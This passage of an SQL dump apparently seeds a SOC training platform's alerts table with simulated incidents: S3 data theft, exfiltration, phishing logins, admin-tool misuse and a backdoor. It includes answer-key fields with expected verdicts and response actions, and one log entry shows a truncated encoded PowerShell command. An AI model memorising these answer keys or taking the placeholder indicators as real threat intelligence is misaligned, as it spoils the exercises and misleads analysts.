3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"eventSource\\\":\\\"s3.amazonaws.com\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"eventTime\\\":\\\"2023-10-05T14:48:00Z\\\",\\\"eventName\\\":\\\"GetObject\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"IAMUser\\\",\\\"principalId\\\":\\\"AIDAEXAMPLE\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:user/compromised_user\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"userName\\\":\\\"compromised_user\\\"},\\\"requestParameters\\\":{\\\"bucketName\\\":\\\"credit-applications\\\",\\\"key\\\":\\\"sensitive_data/credit_2023.csv\\\"},\\\"sourceIPAddress\\\":\\\"203.0.113.45\\\",\\\"userAgent\\\":\\\"aws-sdk-java/1.11.648 Linux/5.4.0-1046-aws OpenJDK_64-Bit_Server_VM/11.0.11+9-LTS\\\",\\\"responseElements\\\":{\\\"x-amz-request-id\\\":\\\"1A2B3C4D5E6F7G8H\\\",\\\"x-amz-id-2\\\":\\\"EXAMPLEBASE64STRING=\\\"},\\\"additionalEventData\\\":{\\\"bytesTransferredIn\\\":0,\\\"bytesTransferredOut\\\":2048,\\\"x-amz-id-2\\\":\\\"EXAMPLEBASE64STRING==\\\",\\\"x-amz-request-id\\\":\\\"1A2B3C4D5E6F7G8H\\\"},\\\"requestID\\\":\\\"1A2B3C4D5E6F7G8H\\\",\\\"eventID\\\":\\\"4c6c6b7c-8c6c-4c6c-b6c6-6c6c6c6c6c6c\\\",\\\"readOnly\\\":true,\\\"resources\\\":[{\\\"type\\\":\\\"AWS::S3::Object\\\",\\\"ARN\\\":\\\"arn:aws:s3:::credit-applications/sensitive_data/credit_2023.csv\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.542Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"eventSource\\\":\\\"s3.amazonaws.com\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"eventTime\\\":\\\"2023-10-05T14:48:00Z\\\",\\\"eventName\\\":\\\"GetObject\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"IAMUser\\\",\\\"principalId\\\":\\\"AIDAEXAMPLE\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:user/compromised_user\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"userName\\\":\\\"compromised_user\\\"},\\\"requestParameters\\\":{\\\"bucketName\\\":\\\"credit-applications\\\",\\\"key\\\":\\\"sensitive_data/credit_2023.csv\\\"},\\\"sourceIPAddress\\\":\\\"203.0.113.45\\\",\\\"userAgent\\\":\\\"aws-sdk-java/1.11.648 Linux/5.4.0-1046-aws OpenJDK_64-Bit_Server_VM/11.0.11+9-LTS\\\",\\\"responseElements\\\":{\\\"x-amz-request-id\\\":\\\"1A2B3C4D5E6F7G8H\\\",\\\"x-amz-id-2\\\":\\\"EXAMPLEBASE64STRING=\\\"},\\\"additionalEventData\\\":{\\\"bytesTransferredIn\\\":0,\\\"bytesTransferredOut\\\":2048,\\\"x-amz-id-2\\\":\\\"EXAMPLEBASE64STRING==\\\",\\\"x-amz-request-id\\\":\\\"1A2B3C4D5E6F7G8H\\\"},\\\"requestID\\\":\\\"1A2B3C4D5E6F7G8H\\\",\\\"eventID\\\":\\\"4c6c6b7c-8c6c-4c6c-b6c6-6c6c6c6c6c6c\\\",\\\"readOnly\\\":true,\\\"resources\\\":[{\\\"type\\\":\\\"AWS::S3::Object\\\",\\\"ARN\\\":\\\"arn:aws:s3:::credit-applications/sensitive_data/credit_2023.csv\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(875, 'Exfiltration of Sensitive Data', 'critical', 'VPC Flow Logs', 'An attacker exfiltrated sensitive data using encrypted channels, covering tracks to avoid detection by standard monitoring tools.', 'Data Exfiltration', 'T1020 - Automated Exfiltration', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T13:45:30Z\",\"src_ip\":\"10.1.1.15\",\"dst_ip\":\"203.0.113.45\",\"protocol\":\"TCP\",\"src_port\":443,\"dst_port\":443,\"bytes_sent\":10485760,\"bytes_received\":1024,\"action\":\"ACCEPT\",\"session_start\":\"2023-10-05T13:40:00Z\",\"session_end\":\"2023-10-05T13:45:30Z\",\"user\":\"jdoe\",\"file_hash\":\"3e8b7f7e21c9a3e0b5f7f6a5c8f1b9d3\",\"file_name\":\"sensitive_data.zip\"}', '2026-01-15 00:53:58', '2026-02-16 17:56:58', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known exfiltration server associated with APT group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host potentially compromised.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3e8b7f7e21c9a3e0b5f7f6a5c8f1b9d3\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with data exfiltration tool.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"sensitive_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"suspicious\",\"details\":\"File name indicative of sensitive data.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal HR Records\",\"verdict\":\"clean\",\"details\":\"Valid employee account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'CLOUD', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.544Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"src_ip\\\":\\\"10.1.1.15\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"src_port\\\":443,\\\"dst_port\\\":443,\\\"bytes_sent\\\":10485760,\\\"bytes_received\\\":1024,\\\"action\\\":\\\"ACCEPT\\\",\\\"session_start\\\":\\\"2023-10-05T13:40:00Z\\\",\\\"session_end\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"3e8b7f7e21c9a3e0b5f7f6a5c8f1b9d3\\\",\\\"file_name\\\":\\\"sensitive_data.zip\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.544Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"src_ip\\\":\\\"10.1.1.15\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"src_port\\\":443,\\\"dst_port\\\":443,\\\"bytes_sent\\\":10485760,\\\"bytes_received\\\":1024,\\\"action\\\":\\\"ACCEPT\\\",\\\"session_start\\\":\\\"2023-10-05T13:40:00Z\\\",\\\"session_end\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"3e8b7f7e21c9a3e0b5f7f6a5c8f1b9d3\\\",\\\"file_name\\\":\\\"sensitive_data.zip\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.544Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"src_ip\\\":\\\"10.1.1.15\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"src_port\\\":443,\\\"dst_port\\\":443,\\\"bytes_sent\\\":10485760,\\\"bytes_received\\\":1024,\\\"action\\\":\\\"ACCEPT\\\",\\\"session_start\\\":\\\"2023-10-05T13:40:00Z\\\",\\\"session_end\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"3e8b7f7e21c9a3e0b5f7f6a5c8f1b9d3\\\",\\\"file_name\\\":\\\"sensitive_data.zip\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.544Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"src_ip\\\":\\\"10.1.1.15\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"src_port\\\":443,\\\"dst_port\\\":443,\\\"bytes_sent\\\":10485760,\\\"bytes_received\\\":1024,\\\"action\\\":\\\"ACCEPT\\\",\\\"session_start\\\":\\\"2023-10-05T13:40:00Z\\\",\\\"session_end\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"3e8b7f7e21c9a3e0b5f7f6a5c8f1b9d3\\\",\\\"file_name\\\":\\\"sensitive_data.zip\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.544Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"src_ip\\\":\\\"10.1.1.15\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"src_port\\\":443,\\\"dst_port\\\":443,\\\"bytes_sent\\\":10485760,\\\"bytes_received\\\":1024,\\\"action\\\":\\\"ACCEPT\\\",\\\"session_start\\\":\\\"2023-10-05T13:40:00Z\\\",\\\"session_end\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"3e8b7f7e21c9a3e0b5f7f6a5c8f1b9d3\\\",\\\"file_name\\\":\\\"sensitive_data.zip\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(876, 'Suspicious Login Attempt Detected', 'medium', 'SIEM Logs', 'A suspicious login attempt was detected from an external IP address. The attempt involved a targeted spear-phishing campaign aiming to harvest employee credentials. The attacker used a known malicious IP address to attempt access to an internal Twitter employee account.', 'Initial Access', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:11Z\",\"event_id\":\"1001\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"action\":\"login_attempt\",\"status\":\"failed\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\",\"email_subject\":\"Urgent: Update Your Password\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-15 00:55:54', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP used in previous phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of targeted employee workstation.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"Active employee account.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known phishing malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.545Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:11Z\\\",\\\"event_id\\\":\\\"1001\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"status\\\":\\\"failed\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"email_subject\\\":\\\"Urgent: Update Your Password\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.545Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:11Z\\\",\\\"event_id\\\":\\\"1001\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"status\\\":\\\"failed\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"email_subject\\\":\\\"Urgent: Update Your Password\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.545Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:11Z\\\",\\\"event_id\\\":\\\"1001\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"status\\\":\\\"failed\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"email_subject\\\":\\\"Urgent: Update Your Password\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.545Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:11Z\\\",\\\"event_id\\\":\\\"1001\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"status\\\":\\\"failed\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"email_subject\\\":\\\"Urgent: Update Your Password\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.545Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:11Z\\\",\\\"event_id\\\":\\\"1001\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"status\\\":\\\"failed\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"email_subject\\\":\\\"Urgent: Update Your Password\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(877, 'Unauthorized Use of Admin Tools', 'high', 'Internal Monitoring Systems', 'An attacker with compromised credentials exploited internal admin tools to manipulate account settings of high-profile Twitter users.', 'Execution', 'T1059: Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T14:23:45Z\",\"event_id\":\"EVT00012345\",\"source_ip\":\"45.76.78.90\",\"internal_ip\":\"10.1.1.15\",\"username\":\"compromised_admin\",\"actions\":[{\"tool\":\"TwitterAdminTool.exe\",\"action\":\"modify_account_settings\",\"target_account\":\"high_profile_user\",\"timestamp\":\"2023-10-01T14:24:10Z\"}],\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"TwitterAdminTool.exe\",\"activity\":\"Unauthorized manipulation of account settings\"}', '2026-01-15 00:55:54', '2026-02-14 17:06:55', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.76.78.90\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelService\",\"verdict\":\"malicious\",\"details\":\"Identified as a command and control server IP.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalNetworkMonitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected host.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"UserBehaviorAnalytics\",\"verdict\":\"suspicious\",\"details\":\"Account behavior indicates potential compromise.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareDatabase\",\"verdict\":\"malicious\",\"details\":\"Known hash associated with malware used for credential theft.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"TwitterAdminTool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"SecuritySoftware\",\"verdict\":\"suspicious\",\"details\":\"File used to execute unauthorized actions on admin accounts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.547Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:23:45Z\\\",\\\"event_id\\\":\\\"EVT00012345\\\",\\\"source_ip\\\":\\\"45.76.78.90\\\",\\\"internal_ip\\\":\\\"10.1.1.15\\\",\\\"username\\\":\\\"compromised_admin\\\",\\\"actions\\\":[{\\\"tool\\\":\\\"TwitterAdminTool.exe\\\",\\\"action\\\":\\\"modify_account_settings\\\",\\\"target_account\\\":\\\"high_profile_user\\\",\\\"timestamp\\\":\\\"2023-10-01T14:24:10Z\\\"}],\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"TwitterAdminTool.exe\\\",\\\"activity\\\":\\\"Unauthorized manipulation of account settings\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.547Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:23:45Z\\\",\\\"event_id\\\":\\\"EVT00012345\\\",\\\"source_ip\\\":\\\"45.76.78.90\\\",\\\"internal_ip\\\":\\\"10.1.1.15\\\",\\\"username\\\":\\\"compromised_admin\\\",\\\"actions\\\":[{\\\"tool\\\":\\\"TwitterAdminTool.exe\\\",\\\"action\\\":\\\"modify_account_settings\\\",\\\"target_account\\\":\\\"high_profile_user\\\",\\\"timestamp\\\":\\\"2023-10-01T14:24:10Z\\\"}],\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"TwitterAdminTool.exe\\\",\\\"activity\\\":\\\"Unauthorized manipulation of account settings\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.547Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:23:45Z\\\",\\\"event_id\\\":\\\"EVT00012345\\\",\\\"source_ip\\\":\\\"45.76.78.90\\\",\\\"internal_ip\\\":\\\"10.1.1.15\\\",\\\"username\\\":\\\"compromised_admin\\\",\\\"actions\\\":[{\\\"tool\\\":\\\"TwitterAdminTool.exe\\\",\\\"action\\\":\\\"modify_account_settings\\\",\\\"target_account\\\":\\\"high_profile_user\\\",\\\"timestamp\\\":\\\"2023-10-01T14:24:10Z\\\"}],\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"TwitterAdminTool.exe\\\",\\\"activity\\\":\\\"Unauthorized manipulation of account settings\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.547Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:23:45Z\\\",\\\"event_id\\\":\\\"EVT00012345\\\",\\\"source_ip\\\":\\\"45.76.78.90\\\",\\\"internal_ip\\\":\\\"10.1.1.15\\\",\\\"username\\\":\\\"compromised_admin\\\",\\\"actions\\\":[{\\\"tool\\\":\\\"TwitterAdminTool.exe\\\",\\\"action\\\":\\\"modify_account_settings\\\",\\\"target_account\\\":\\\"high_profile_user\\\",\\\"timestamp\\\":\\\"2023-10-01T14:24:10Z\\\"}],\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"TwitterAdminTool.exe\\\",\\\"activity\\\":\\\"Unauthorized manipulation of account settings\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.547Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:23:45Z\\\",\\\"event_id\\\":\\\"EVT00012345\\\",\\\"source_ip\\\":\\\"45.76.78.90\\\",\\\"internal_ip\\\":\\\"10.1.1.15\\\",\\\"username\\\":\\\"compromised_admin\\\",\\\"actions\\\":[{\\\"tool\\\":\\\"TwitterAdminTool.exe\\\",\\\"action\\\":\\\"modify_account_settings\\\",\\\"target_account\\\":\\\"high_profile_user\\\",\\\"timestamp\\\":\\\"2023-10-01T14:24:10Z\\\"}],\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"TwitterAdminTool.exe\\\",\\\"activity\\\":\\\"Unauthorized manipulation of account settings\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(878, 'Creation of Persistent Access Channels', 'high', 'Endpoint Detection and Response', 'The attacker has established backdoor access to ensure persistent access to the compromised accounts, allowing them to return even if initial credentials are revoked.', 'Persistence', 'T1547', 1, 'new', NULL, '{\"timestamp\":\"2023-10-04T14:22:08Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.15\",\"username\":\"jdoe\",\"filename\":\"backdoor.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"event_type\":\"Execution\",\"event_description\":\"Suspicious binary executed with the objective of maintaining persistent access.\",\"process_id\":\"5720\",\"process_name\":\"backdoor.exe\",\"destination\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\backdoor.exe\"}', '2026-01-15 00:55:54', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with multiple cyber attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"backdoor.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"Backdoor executable known to maintain persistent access.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with malicious activity.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
